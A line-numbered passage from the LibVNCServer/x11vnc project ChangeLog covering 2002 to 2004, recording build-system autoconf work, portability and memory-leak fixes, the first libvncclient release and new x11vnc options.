   7233 	* ChangeLog, libvncserver-config.in: fix --link for
   7234 	libvncserver-config
   7235 
   7236 2004-03-11  runge <runge>
   7237 
   7238 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc options -vncconnect, -connect, -remap,  -debug_pointer, and -debug_keyboard  add reverse connections, keysym remapping,  and debug output option
   7239 
   7240 2004-02-29  dscho <dscho>
   7241 
   7242 	* index.html: link to pre.tar.gz, mention valgrind
   7243 
   7244 2004-02-29  dscho <dscho>
   7245 
   7246 	* index.html: update on news
   7247 
   7248 2004-02-29  dscho <dscho>
   7249 
   7250 	* ChangeLog, rfbregion.c: fixed valgrind warning
   7251 
   7252 2004-02-20  runge <runge>
   7253 
   7254 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc options -nosel -noprimary -visual.   add clipboard/selection handling.   add visual option (mostly for testing and workarounds).   improve shm cleanup on failures.
   7255 
   7256 2004-02-04  dscho <dscho>
   7257 
   7258 	* AUTHORS, ChangeLog, examples/colourmaptest.c,
   7259 	examples/copyrecttest.c, examples/example.c, examples/simple.c,
   7260 	examples/simple15.c, examples/vncev.c: make examples g++
   7261 	compileable, thanks to Juan Jose Costello
   7262 
   7263 2004-01-30  dscho <dscho>
   7264 
   7265 	* ChangeLog, rfbserver.c: memory leaks fixed
   7266 
   7267 2004-01-29  dscho <dscho>
   7268 
   7269 	* ChangeLog, Makefile.am, configure.ac, tight.c, zlib.c, zrle.c,
   7270 	zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
   7271 	zrlepalettehelper.c, zrlepalettehelper.h: Honour the check for libz,
   7272 	libjpeg again
   7273 
   7274 2004-01-21  dscho <dscho>
   7275 
   7276 	* ChangeLog, cargs.c, main.c, rfb/rfb.h, rfbserver.c: add
   7277 	"-progressive height" option to make SendFramebufferUpdate
   7278 	"preemptive"
   7279 
   7280 2004-01-21  dscho <dscho>
   7281 
   7282 	* ChangeLog: update
   7283 
   7284 2004-01-21  dscho <dscho>
   7285 
   7286 	* examples/.cvsignore: ignore all test programs
   7287 
   7288 2004-01-21  dscho <dscho>
   7289 
   7290 	* examples/Makefile.am, examples/copyrecttest.c: add a simple
   7291 	example how to use rfbDoCopyRect
   7292 
   7293 2004-01-21  dscho <dscho>
   7294 
   7295 	* main.c, rfb/rfb.h: ignore SIGPIPE by default; it is handled via
   7296 	EPIPE
   7297 
   7298 2004-01-21  dscho <dscho>
   7299 
   7300 	* cursor.c: do not send unnecessary updated because of cursor
   7301 	drawing
   7302 
   7303 2004-01-19  runge <runge>
   7304 
   7305 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  handle mouse button number mismatch  improved pointer input handling during drags, etc.   somewhat faster copy_tiles() -> copy_tiles()  x11vnc options -buttonmap -old_pointer -old_copytile
   7306 
   7307 2004-01-19  dscho <dscho>
   7308 
   7309 	* configure.ac: 0.6 is out... version is 0.7pre now
   7310 
   7311 2004-01-19  dscho <dscho>
   7312 
   7313 	* vncterm/Makefile.am: inherit CFLAGS
   7314 
   7315 2004-01-19  dscho <dscho>
   7316 
   7317 	* vncterm/VNConsole.c: fix usage of non-existent attribute buffer
   7318 
   7319 2004-01-16  dscho <dscho>
   7320 
   7321 	* ChangeLog, cargs.c, configure.ac, contrib/Makefile.am,
   7322 	rfbserver.c, vncauth.c: compile fix for cygwin
   7323 
   7324 2004-01-10  runge <runge>
   7325 
   7326 	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc options -allow, -localhost, -nodragging, -input_skip  minimize memory usage under -nofb
   7327 
   7328 2003-12-09  dscho <dscho>
   7329 
   7330 	* libvncclient/hextile.c: fix compilation with Mac OSX: preprocessor
   7331 	can't do recursive macros
   7332 
   7333 2003-12-09  runge <runge>
   7334 
   7335 	* ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: 
   7336 	x11vnc: XBell events, -nofb, -notruecolor, misc. cleaning
   7337 
   7338 2003-11-27  dscho <dscho>
   7339 
   7340 	* index.html: fixed link
   7341 
   7342 2003-11-11  dscho <dscho>
   7343 
   7344 	* ChangeLog, contrib/x11vnc.c: -inetd, -noshm and friends added
   7345 
   7346 2003-11-07  dscho <dscho>
   7347 
   7348 	* ChangeLog, README.cvs, configure.ac: release 0.6
   7349 
   7350 2003-10-08  dscho <dscho>
   7351 
   7352 	* zrle.c: fix gcc 2.x compilation: no C99
   7353 
   7354 2003-09-11  markmc <markmc>
   7355 
   7356 	* ChangeLog, Makefile.in, aclocal.m4, bootstrap.sh,
   7357 	classes/.cvsignore, classes/Makefile.in, config.h.in, configure,
   7358 	contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh,
   7359 	libvncclient/Makefile.in, missing, mkinstalldirs, test/.cvsignore,
   7360 	test/Makefile.in, vncterm/Makefile.in: 2002-09-11  Mark McLoughlin
   7361 	<mark (a] skynet.ie>         * Makefile.in, */Makefile.in, aclocal.m4,           bootstrap.sh, config.h.in, configure,           depcomp, install-sh, missing, mkinstalldirs,         Removed auto-generated files from CVS.
   7362 
   7363 2003-09-11  markmc <markmc>
   7364 
   7365 	* ChangeLog, NEWS, rdr/Exception.h, rdr/FdInStream.cxx,
   7366 	rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h,
   7367 	rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h,
   7368 	rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx,
   7369 	rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx,
   7370 	rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h,
   7371 	rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: 2003-09-11  Mark
   7372 	McLoughlin  <mark (a] skynet.ie>         * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h,           rdr/FdOutStream.cxx, rdr/FdOutStream.h,
   7373 	          rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h,
   7374 	          rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx,
   7375 	          rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx,
   7376 	          rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h,
   7377 	          rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: remove original         C++ ZRLE implementation. Its been ported to C.          * NEWS: copy the existing ChangeLog to here and make         this a more detailed ChangeLog.
   7378 
   7379 2003-09-08  dscho <dscho>
   7380 
   7381 	* AUTHORS, ChangeLog, Makefile.am, Makefile.in, autogen.sh,
   7382 	classes/Makefile.in, config.h.in, configure, configure.ac,
   7383 	contrib/Makefile.in, examples/Makefile.in,
   7384 	libvncclient/Makefile.in, rfb/rfb.h, rfb/rfbproto.h, rfbserver.c,
   7385 	test/Makefile.in, vncterm/Makefile.in, zrle.c,
   7386 	zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
   7387 	zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: ZRLE no
   7388 	longer uses C++, but C
   7389 
   7390 2003-08-29  dscho <dscho>
   7391 
   7392 	* ChangeLog, Makefile.in, configure, configure.ac,
   7393 	libvncclient/Makefile.in, test/Makefile.in, vncterm/Makefile.in: 
   7394 	added --disable-cxx flag to configure
   7395 
   7396 2003-08-18  dscho <dscho>
   7397 
   7398 	* contrib/x11vnc.c: Karl Runge: 8bpp handling now much better,
   7399 	single window also, many improvements
   7400 
   7401 2003-08-18  dscho <dscho>
   7402 
   7403 	* httpd.c, main.c, rfbserver.c, sockets.c: socklen_t -> size_t
   7404 
   7405 2003-08-18  dscho <dscho>
   7406 
   7407 	* Makefile.in, aclocal.m4, classes/Makefile.in, config.h.in,
   7408 	contrib/Makefile.in, examples/Makefile.in, vncterm/Makefile.in: 
   7409 	using autoconf 1.6
   7410 
   7411 2003-08-09  dscho <dscho>
   7412 
   7413 	* README: added Projects section
   7414 
   7415 2003-08-08  dscho <dscho>
   7416 
   7417 	* .cvsignore, classes/.cvsignore, libvncclient/.cvsignore,
   7418 	test/.cvsignore: more files to ignore
   7419 
   7420 2003-08-08  dscho <dscho>
   7421 
   7422 	* libvncclient/rfbproto.c, libvncclient/tight.c,
   7423 	libvncclient/zlib.c, main.c, rfbserver.c: make --without-jpeg,
   7424 	--without-zlib work
   7425 
   7426 2003-08-08  dscho <dscho>
   7427 
   7428 	* AUTHORS, configure, configure.ac: add --without-jpeg,
   7429 	--without-zlib; repair --without-backchannel, --without-24bpp
   7430 
   7431 2003-08-08  dscho <dscho>
   7432 
   7433 	* httpd.c, sockets.c: handle EINTR after select()
   7434 
   7435 2003-08-06  dscho <dscho>
   7436 
   7437 	* ChangeLog, auth.c, contrib/x11vnc.c, examples/fontsel.c,
   7438 	examples/mac.c, httpd.c, main.c, rfb/rfb.h, rfbregion.c,
   7439 	rfbserver.c, rre.c, sockets.c, translate.c, vncterm/LinuxVNC.c,
   7440 	vncterm/VNCommand.c, zlib.c: rfbErr introduced
   7441 
   7442 2003-08-03  dscho <dscho>
   7443 
   7444 	* rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to
   7445 	LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary...
   7446 
   7447 2003-08-02  dscho <dscho>
   7448 
   7449 	* config.h.in, configure, configure.ac: really check for setsid, not
   7450 	pgrp
   7451 
   7452 2003-08-02  dscho <dscho>
   7453 
   7454 	* main.c: overlooked endian config.h constant
   7455 
   7456 2003-08-02  dscho <dscho>
   7457 
   7458 	* config.h.in: required file
   7459 
   7460 2003-08-01  dscho <dscho>
   7461 
   7462 	* README, configure, configure.ac: mention NEWS in README, add
   7463 	checks for fork and setpgrp
   7464 
   7465 2003-07-31  dscho <dscho>
   7466 
   7467 	* ChangeLog: credit last two changes to Erik
   7468 
   7469 2003-07-31  dscho <dscho>
   7470 
   7471 	* main.c, rfb/rfb.h, sockets.c: rfbLog can be overridden; EINTR on
   7472 	read/write means just try again
   7473 
   7474 2003-07-30  dscho <dscho>
   7475 
   7476 	* Makefile.am, Makefile.in, rfb/rfb.h, rfb/rfbclient.h: add
   7477 	rfbclient.h to distribution; avoid C++ style comments
   7478 
   7479 2003-07-30  dscho <dscho>
   7480 
   7481 	* AUTHORS, ChangeLog, Makefile.in, NEWS, README, acinclude.m4,
   7482 	aclocal.m4, auth.c, cargs.c, classes/Makefile.in, configure,
   7483 	configure.ac, contrib/Makefile.in, contrib/x11vnc.c,
   7484 	contrib/zippy.c, corre.c, cursor.c, cutpaste.c, draw.c,
   7485 	examples/Makefile.in, examples/example.c, examples/mac.c,
   7486 	examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, font.c,
   7487 	hextile.c, httpd.c, libvncclient/Makefile.in, libvncclient/corre.c,
   7488 	libvncclient/cursor.c, libvncclient/hextile.c,
   7489 	libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
   7490 	libvncclient/sockets.c, libvncclient/tight.c,
   7491 	libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, rfb/rfb.h,
   7492 	rfb/rfbclient.h, rfb/rfbconfig.h.in, rfb/rfbproto.h,
   7493 	rfb/rfbregion.h, rfbregion.c, rfbserver.c, rre.c, selbox.c,
   7494 	sockets.c, stats.c, test/Makefile.in, tight.c, translate.c,
   7495 	vncauth.c, vncterm/LinuxVNC.c, vncterm/Makefile.in,
   7496 	vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
   7497 	zlib.c, zrle.cxx: API change: Bool, KeySym, Pixel get prefix "rfb";
   7498 	constants in rfbconfig.h get prefix "LIBVNCSERVER_"
   7499 
   7500 2003-07-29  dscho <dscho>
   7501 
   7502 	* cursor.c, libvncclient/client_test.c, libvncclient/rfbproto.c,
   7503 	libvncclient/vncviewer.c, main.c, rfb/rfb.h, rfb/rfbclient.h,
   7504 	test/tight-1.c, tight.c: further valgrinding showed leaked mallocs
   7505 
   7506 2003-07-28  dscho <dscho>
   7507 
   7508 	* ChangeLog, README.cvs: adapted dox
   7509 
   7510 2003-07-28  dscho <dscho>
   7511 
   7512 	* libvncclient/Makefile: is autoconfed now
   7513 
   7514 2003-07-28  dscho <dscho>
   7515 
   7516 	* Makefile.am, Makefile.in, aclocal.m4, classes/Makefile.in,
   7517 	configure, configure.ac, contrib/Makefile.in, contrib/x11vnc.c,
   7518 	contrib/zippy.c, examples/1instance.c, examples/Makefile.in,
   7519 	examples/fontsel.c, examples/mac.c, examples/pnmshow.c,
   7520 	examples/pnmshow24.c, examples/vncev.c, libvncclient/Makefile,
   7521 	libvncclient/Makefile.am, libvncclient/Makefile.in,
   7522 	libvncclient/client_test.c, libvncclient/corre.c,
   7523 	libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
   7524 	libvncclient/sockets.c, libvncclient/tight.c,
   7525 	libvncclient/vncviewer.c, libvncclient/zlib.c, main.c,
   7526 	rdr/FdInStream.cxx, rdr/ZlibOutStream.cxx, rfb/rfb.h,
   7527 	rfb/rfbclient.h, rfb/rfbconfig.h.in, rfbregion.c, rfbserver.c,
   7528 	test/Makefile.am, test/Makefile.in, test/tight-1.c, tight.c,
   7529 	vncterm/LinuxVNC.c, vncterm/Makefile.in, vncterm/VNCommand.c,
   7530 	vncterm/VNConsole.c, vncterm/example.c: fixed maxRectsPerUpdate with
   7531 	Tight encoding bug; some autoconfing; stderr should not be used in a
   7532 	library (use rfbLog instead)
   7533 
   7534 2003-07-28  dscho <dscho>
   7535 
   7536 	* test/tight-1.c: first beginnings of automatic tests, thanks to
   7537 	libvncclient
   7538 
   7539 2003-07-28  dscho <dscho>
   7540 
   7541 	* ChangeLog, TODO, main.c, rfb/rfb.h, rfb/rfbregion.h, rfbregion.c,
   7542 	rfbserver.c, sockets.c, tight.c, vncauth.c: synced with TightVNC and
   7543 	RealVNC
   7544 
   7545 2003-07-28  dscho <dscho>
   7546 
   7547 	* Makefile.am, Makefile.in, examples/Makefile.am,
   7548 	examples/Makefile.in: debug flags
   7549 
   7550 2003-07-27  dscho <dscho>
   7551 
   7552 	* ChangeLog: libvncclient
   7553 
   7554 2003-07-27  dscho <dscho>
   7555 
   7556 	* libvncclient/Makefile, libvncclient/corre.c,
   7557 	libvncclient/cursor.c, libvncclient/hextile.c,
   7558 	libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
   7559 	libvncclient/sockets.c, libvncclient/tight.c,
   7560 	libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h,
   7561 	vncauth.c: first alpha version of libvncclient
   7562 
   7563 2003-07-27  dscho <dscho>
   7564 
   7565 	* rfb/rfb.h, rfb/rfbproto.h, vncauth.c: make vncauth usable also for
   7566 	upcoming libvncclient
   7567 
   7568 2003-07-25  dscho <dscho>
   7569 
   7570 	* ChangeLog, examples/.cvsignore, examples/Makefile.am,
   7571 	examples/Makefile.in, examples/simple.c, examples/simple15.c,
   7572 	index.html: Added simple examples
   7573 
   7574 2003-07-11  dscho <dscho>
   7575 
   7576 	* rfb/rfbconfig.h, rfb/rfbint.h: these files are generated by
   7577 	configure
   7578 
   7579 2003-07-11  dscho <dscho>
   7580 
   7581 	* ChangeLog, httpd.c: long standing bug in http; was sending .jar
   7582 	twice
   7583 
   7584 2003-07-10  dscho <dscho>
   7585 
   7586 	* INSTALL, Makefile.in, aclocal.m4, classes/Makefile.in, configure,
   7587 	contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh,
   7588 	missing, mkinstalldirs, rfb/rfbconfig.h, rfb/rfbconfig.h.in,
   7589 	rfb/rfbint.h, rfb/stamp-h.in, vncterm/Makefile.in: another try to
   7590 	make CVS more helpful with configure
   7591 
   7592 2003-07-10  dscho <dscho>
   7593 
   7594 	* Makefile.am, classes/Makefile.am, configure.ac: also distribute
   7595 	classes/ directory
   7596 
   7597 2003-07-10  dscho <dscho>
   7598 
   7599 	* cargs.c: fix compile
   7600 
   7601 2003-06-28  dscho <dscho>
   7602 
   7603 	* ChangeLog, cargs.c: http options inserted
   7604 
   7605 2003-05-05  dscho <dscho>
   7606 
   7607 	* configure.ac: fix am__fastdepCXX for system not having ZLIB
   7608 
   7609 2003-04-03  dscho <dscho>
   7610 
   7611 	* contrib/ChangeLog: added ChangeLog for x11vnc
   7612 
   7613 2003-04-03  dscho <dscho>
   7614 
   7615 	* contrib/x11vnc.c: new version from Karl!
   7616 
   7617 2003-02-28  dscho <dscho>
   7618 
   7619 	* Makefile.am, configure.ac, libvncserver-config.in: let
   7620 	libvncserver-config behave as expected when called without
   7621 	installing
   7622 
   7623 2003-02-27  dscho <dscho>
   7624 
   7625 	* README.cvs: added some documentation how to compile from CVS
   7626 	sources
   7627 
   7628 2003-02-21  dscho <dscho>
   7629 
   7630 	* rfb/rfb.h: #include <rfb/rfbregion.h> instead of #include
   7631 	"rfbregion.h"
   7632 
   7633 2003-02-20  dscho <dscho>
   7634 
   7635 	* ChangeLog: update ChangeLog
   7636 
   7637 2003-02-20  dscho <dscho>
   7638 
   7639 	* index.html: #include <rfb/rfb.h> instead of "rfb.h"
   7640 
   7641 2003-02-20  dscho <dscho>
   7642 
   7643 	* contrib/Makefile.am, contrib/x11vnc.c, contrib/zippy.c,
   7644 	examples/Makefile.am, examples/colourmaptest.c, examples/example.c,
   7645 	examples/fontsel.c, examples/mac.c, examples/pnmshow.c,
   7646 	examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c,
   7647 	libvncserver-config.in, vncterm/Makefile.am, vncterm/VNConsole.h: 
   7648 	the correct way to include rfb.h is now "#include <rfb/rfb.h>"
   7649 
   7650 2003-02-19  dscho <dscho>
   7651 
   7652 	* index.html: webpage update
   7653 
   7654 2003-02-19  dscho <dscho>
   7655 
   7656 	* rfb/.cvsignore: forgotten .cvsignore
   7657 
   7658 2003-02-19  dscho <dscho>
   7659 
   7660 	* Makefile.am: fixed header installation into $(prefix)/include/rfb
   7661 
   7662 2003-02-18  dscho <dscho>
   7663 
   7664 	* Makefile.am, configure.ac, include/.cvsignore,
   7665 	include/default8x16.h, include/keysym.h, include/rfb.h,
   7666 	include/rfbproto.h, include/rfbregion.h, rfb/default8x16.h,
   7667 	rfb/keysym.h, rfb/rfb.h, rfb/rfbproto.h, rfb/rfbregion.h: moved
   7668 	include/ to rfb/
   7669 
   7670 2003-02-18  dscho <dscho>
   7671 
   7672 	* sockets.c: fixed a bug when closing a client if no longer
   7673 	listening for new clients.
   7674 
   7675 2003-02-17  dscho <dscho>
   7676 
   7677 	* cursor.c, include/rfb.h: export rfbReverseBytes; undefine VERSION,
   7678 	because it's too common
   7679 
   7680 2003-02-17  dscho <dscho>
   7681 
   7682 	* INSTALL: INSTALL is copied by automake
   7683 
   7684 2003-02-17  dscho <dscho>
   7685 
   7686 	* INSTALL: INSTALL was missing
   7687 
   7688 2003-02-16  dscho <dscho>
   7689 
   7690 	* configure.ac, libvncserver-config.in: fixed --link option to
   7691 	libvncserver-config
   7692 
   7693 2003-02-10  dscho <dscho>
   7694 
   7695 	* cvs_update_anonymously, include/rfbproto.h: cvs more flexible now;
   7696 	ZRLE encoding only when HAVE_ZRLE defined
   7697 
   7698 2003-02-10  dscho <dscho>
   7699 
   7700 	* ChangeLog, rfbserver.c: really fixed ClientConnectionGone problem
   7701 
   7702 2003-02-10  dscho <dscho>
   7703 
   7704 	* vncterm/LinuxVNC.c, vncterm/VNConsole.c: fixed LinuxVNC colours
   7705 
   7706 2003-02-10  dscho <dscho>
   7707 
   7708 	* main.c, rfbserver.c: fixed a bug that prevented the first
   7709 	connection to be closed
   7710 
   7711 2003-02-10  dscho <dscho>
   7712 
   7713 	* include/rfb.h: fixed pthread debugging (locks...)
   7714 
   7715 2003-02-10  dscho <dscho>
   7716 
   7717 	* contrib/Makefile.am, examples/Makefile.am, vncterm/Makefile.am: 
   7718 	fixed dependecy to libvncserver.a; if the lib is newer, the programs
   7719 	are relinked
   7720 
   7721 2003-02-10  dscho <dscho>
   7722 
   7723 	* go: removed superfluous file
   7724 
   7725 2003-02-10  dscho <dscho>
   7726 
   7727 	* examples/.cvsignore, examples/Makefile.am,
   7728 	examples/colourmaptest.c, vncterm/VNConsole.c: added
   7729 	colourmapexample; fixed LinuxVNC to show the right colours
   7730 
   7731 2003-02-09  dscho <dscho>
   7732 
   7733 	* ChangeLog: vncterm imported, porting issues solved (IRIX, OS X,
   7734 	Solaris)
   7735 
   7736 2003-02-09  dscho <dscho>
   7737 
   7738 	* configure.ac, examples/Makefile.am, examples/mac.c,
   7739 	vncterm/Makefile.am, vncterm/VNCommand.c: support for OS X is better
   7740 	now
   7741 
   7742 2003-02-09  dscho <dscho>
   7743 
   7744 	* configure.ac, examples/Makefile.am: trying again to support OS X
   7745 
   7746 2003-02-09  dscho <dscho>
   7747 
   7748 	* Makefile.am, configure.ac, examples/.cvsignore,
   7749 	vncterm/.cvsignore, vncterm/ChangeLog, vncterm/LinuxVNC.c,
   7750 	vncterm/Makefile.am, vncterm/README, vncterm/TODO,
   7751 	vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
   7752 	vncterm/example.c, vncterm/vga.h: included vncterm
   7753 
   7754 2003-02-09  dscho <dscho>
   7755 
   7756 	* .cvsignore, configure.ac, examples/mac.c, mac.c: moved the
   7757 	OSXvnc-server to examples; IRIX fixes (not really IRIX, but shows
   7758 	there)
   7759 
   7760 2003-02-09  dscho <dscho>
   7761 
   7762 	* Makefile.am, examples/Makefile.am, examples/regiontest.c,
   7763 	examples/sratest.c, include/rfbregion.h, main.c, rfbregion.c,
   7764 	rfbserver.c, sraRegion.c, sraRegion.h, translate.c: renamed
   7765 	sraRegion to rfbregion and put it in include/; will be installed now
   7766 
   7767 2003-02-09  dscho <dscho>
   7768 
   7769 	* ChangeLog: portability changes
   7770 
   7771 2003-02-09  dscho <dscho>
   7772 
   7773 	* configure.ac: order of X libraries is not good for IRIX
   7774 
   7775 2003-02-09  dscho <dscho>
   7776 
   7777 	* configure.ac, main.c: include order was wrong
   7778 
   7779 2003-02-09  dscho <dscho>
   7780 
   7781 	* Makefile.in, configure, contrib/Makefile.in, examples/Makefile.in: 
   7782 	source from CVS always will need a current autoconf/automake
   7783 
   7784 2003-02-09  dscho <dscho>
   7785 
   7786 	* Makefile.in, acinclude.m4, configure, contrib/Makefile.in,
   7787 	examples/Makefile.in: I give up supporting old autoconf/automake;
   7788 	now require at least 2.52
   7789 
   7790 2003-02-09  dscho <dscho>
   7791 
   7792 	* acinclude.m4: more macros included for older autoconf/automake
   7793 
   7794 2003-02-09  dscho <dscho>
   7795 
   7796 	* Makefile.am, TODO, acinclude.m4, auth.c, configure.ac,
   7797 	contrib/x11vnc.c, corre.c, cursor.c, cutpaste.c, hextile.c,
   7798 	httpd.c, include/.cvsignore, include/rfb.h, include/rfbproto.h,
   7799 	main.c, rfbserver.c, rre.c, sockets.c, sraRegion.c, stats.c,
   7800 	tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c,
   7801 	tabletrans24template.c, tabletranstemplate.c, tight.c, translate.c,
   7802 	vncauth.c, zlib.c, zrle.cxx: converted CARD{8,16,32} to
   7803 	uint{8,16,32}_t and included support for stdint.h
   7804 
   7805 2003-02-09  dscho <dscho>
   7806 
   7807 	* .cvsignore: ignore libvncserver-config
   7808 
   7809 2003-02-09  dscho <dscho>
   7810 
   7811 	* configure.ac, include/rfb.h, main.c: bigendian is now determined
   7812 	at configure time
   7813 
   7814 2003-02-09  dscho <dscho>
   7815 
   7816 	* index.html: added website
   7817 
   7818 2003-02-09  dscho <dscho>
   7819 
   7820 	* Makefile.am, configure.ac: small adjustments for autoconf/automake
   7821 	compatibility
   7822 
   7823 2003-02-09  dscho <dscho>
   7824 
   7825 	* Makefile.am, configure.ac, contrib/Makefile.am,
   7826 	examples/Makefile.am, examples/vncev.c, libvncserver-config.in,
   7827 	libvncserver.spec.in: make dist fixed; make rpm introduced
   7828 
   7829 2003-02-08  dscho <dscho>
   7830 
   7831 	* .cvsignore, Makefile, bootstrap.sh, contrib/.cvsignore,
   7832 	contrib/Makefile, examples/.cvsignore, examples/Makefile: removed
   7833 	Makefiles; these are generated now
   7834 
   7835 2003-02-08  dscho <dscho>
   7836 
   7837 	* .cvsignore, contrib/.cvsignore, examples/.cvsignore,
   7838 	libvncserver.spec.in: ignore generated files
   7839 
   7840 2003-02-08  dscho <dscho>
   7841 
   7842 	* contrib/.cvsignore, examples/.cvsignore, examples/blooptest.c,
   7843 	examples/sratest.c, include/.cvsignore: missing files
   7844 
   7845 2003-02-08  dscho <dscho>
   7846 
   7847 	* AUTHORS, CHANGES, ChangeLog, NEWS, TODO: further autoconf'ing
   7848 
   7849 2003-02-08  dscho <dscho>
   7850 
   7851 	* Makefile, Makefile.am, TODO, bootstrap.sh, configure.ac,
   7852 	contrib/Makefile, contrib/Makefile.am, examples/Makefile,
   7853 	examples/Makefile.am, examples/example.c, include/rfb.h,
   7854 	include/rfbproto.h, main.c, rfbserver.c, sockets.c, tight.c,
   7855 	zlib.c, zrle.cc, zrle.cxx: autoconf'ed everything
   7856 
   7857 2003-02-07  dscho <dscho>
   7858 
   7859 	* examples/.cvsignore, examples/radon.h: added files
   7860 
   7861 2003-02-07  dscho <dscho>
   7862 
   7863 	* cvs_update_anonymously, examples/Makefile: added Makefile in
   7864 	examples; "export" in cvs_update_anonymously
   7865 
   7866 2003-02-07  dscho <dscho>
   7867 
   7868 	* 1instance.c, Makefile, contrib/Makefile, contrib/zippy.c,
   7869 	default8x16.h, examples/1instance.c, examples/pnmshow24.c,
   7870 	include/default8x16.h, include/keysym.h, include/rfb.h,
   7871 	include/rfbproto.h, keysym.h, main.c, radon.h, rfb.h, rfbproto.h: 
   7872 	moved files to include; moved a file to examples/
   7873 
   7874 2003-02-07  dscho <dscho>
   7875 
   7876 	* CHANGES, example.c, example.dsp, examples/example.c,
   7877 	examples/example.dsp, examples/fontsel.c, examples/pnmshow.c,
   7878 	examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c,
   7879 	fontsel.c, pnmshow.c, pnmshow24.c, storepasswd.c, vncev.c: moved
   7880 	files to contrib/ and examples/
   7881 
   7882 2002-12-30  dscho <dscho>
   7883 
   7884 	* CHANGES, cargs.c: fixed cargs (segmentation fault!)
   7885 
   7886 2002-12-25  dscho <dscho>
   7887 
   7888 	* contrib/x11vnc.c: strange, but standard X11 behaviour from Sun
   7889 	keymappings...
   7890 
   7891 2002-12-20  dscho <dscho>
   7892 
   7893 	* contrib/x11vnc.c: include commented debug functionality
   7894 
   7895 2002-12-20  dscho <dscho>
   7896 
   7897 	* contrib/x11vnc.c: AltGr fixes in x11vnc, renamed from altgr to
   7898 	modtweak
   7899 
   7900 2002-12-20  dscho <dscho>
   7901 
   7902 	* Makefile: fixed compilation for zippy
   7903 
   7904 2002-12-20  dscho <dscho>
   7905 
   7906 	* contrib/Makefile: Makefile for contrib
   7907 
   7908 2002-12-19  dscho <dscho>
   7909 
   7910 	* contrib/x11vnc.c, contrib/zippy.c: new version of x11vnc from Karl
   7911 	Runge
   7912 
   7913 2002-12-15  dscho <dscho>
   7914 
   7915 	* contrib/x11vnc.c: small fixes: in X11/Xlib.h Bool is int (Karl
   7916 	Runge); indexed colour support
   7917 
   7918 2002-12-15  dscho <dscho>
   7919 
   7920 	* Makefile, rfbserver.c: fix: if no CXX is defined, really don't use
   7921 	zrle (Karl Runge)
   7922 
   7923 2002-12-06  dscho <dscho>
   7924 
   7925 	* CHANGES, Makefile, contrib/x11vnc.c, contrib/zippy.c, httpd.c,
   7926 	main.c, rfb.h, x11vnc.c, zippy.c: compiler warnings, contrib
   7927 	directory, new x11vnc from Karl Runge
   7928 
   7929 2002-10-29  dscho <dscho>
   7930 
   7931 	* CHANGES, main.c, rfbserver.c: fixed severe bug with sending
   7932 	fbupdates
   7933 
   7934 2002-10-29  dscho <dscho>
   7935 
   7936 	* CHANGES, README, cursor.c, main.c, rfb.h, rfbproto.h,
   7937 	rfbserver.c, stats.c: patch from Const for CursorPosUpdate encoding
   7938 
   7939 2002-10-22  dscho <dscho>
   7940 
   7941 	* rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h,
   7942 	rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h,
   7943 	rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h,
   7944 	rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h,
   7945 	rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h,
   7946 	rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h: rdr
   7947 
   7948 2002-10-22  dscho <dscho>
   7949 
   7950 	* Makefile, corre.c, cvs_update_anonymously, httpd.c, main.c,
   7951 	rfb.h, rfbproto.h, rfbserver.c, stats.c, zrle.cc, zrleDecode.h,
   7952 	zrleEncode.h: updated to vnc-3.3.4 (ZRLE encoding)
   7953 
   7954 2002-08-31  dscho <dscho>
   7955 
   7956 	* x11vnc.c: patch for IRIX
   7957 
   7958 2002-08-31  dscho <dscho>
   7959 
   7960 	* cvs_update_anonymously, httpd.c, rfbserver.c, vncauth.c: socket
   7961 	via proxy gets options set, compiler warning fixes
   7962 
   7963 2002-08-31  dscho <dscho>
   7964 
   7965 	* Makefile, cvs_update_anonymously, httpd.c, mac.c, pnmshow24.c,
   7966 	vncev.c, x11vnc.c, zippy.c: compiler warnings and format
   7967 	vulnerabilities fixed
   7968 
   7969 2002-08-27  dscho <dscho>
   7970 
   7971 	* Makefile, httpd.c: IRIX changes
   7972 
